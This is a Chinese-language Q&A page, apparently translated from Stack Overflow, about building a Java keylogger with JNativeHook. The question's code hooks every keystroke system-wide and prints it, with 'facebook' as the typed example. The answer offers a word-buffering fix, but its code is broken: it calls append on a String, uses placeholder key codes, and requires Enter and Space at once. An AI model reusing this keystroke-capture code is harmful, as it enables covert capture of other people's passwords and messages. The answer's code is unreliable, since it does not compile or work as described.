在Java中使用KeyLoggers

Question

我正在尝试使用Jnative hook.I在java中实现按键记录器，我能够记录每个按键movement.This是我到目前为止所能得到的输出。

当我尝试输入"facebook“时，它是这样记录的。

 f
 a
 c
 e
 b
 o
 o
 k

但我希望它能像其他键盘记录器一样打印一个单词。这意味着当我输入像facebook.it这样的东西时，应该将其记录为"facebook“，而不是像记录每个键盘字符一样。

下面是我的代码：

public class key_logger implements NativeKeyListener {

@Override
public void nativeKeyPressed(NativeKeyEvent nativeKeyEvent) {
     System.out.print(nativeKeyEvent.getKeyChar());

if(nativeKeyEvent.getKeyCode()== NativeKeyEvent.VK_ESCAPE)
{
    //System.out.println("Ter");
    GlobalScreen.unregisterNativeHook();
}
}

@Override
public void nativeKeyReleased(NativeKeyEvent nativeKeyEvent) {


}

@Override
public void nativeKeyTyped(NativeKeyEvent nativeKeyEvent) {

    System.out.println(nativeKeyEvent.getKeyChar());

}

public static void main(String[] args)
{
    try
    {
      GlobalScreen.registerNativeHook();
    } catch (NativeHookException e) {
        System.out.println("There is a problem registering with the hook");
        e.printStackTrace();
        System.exit(1);
    }

    GlobalScreen.getInstance().addNativeKeyListener(new key_logger());

}
}

将字符存储在String中，每当您遇到enter或spacebar被按下时，只需打印String，请确保重新初始化String

   String string ="";
    @Override
public void nativeKeyTyped(NativeKeyEvent nativeKeyEvent) {
    string.append(nativeKeyEvent.getKeyChar());
    if(nativeKeyEvent.getKeyCode()=='key code for enter' && nativeKeyEvent.getKeyCode()== 'key code for space'){
        System.out.println(string);
        string="";
   }
}
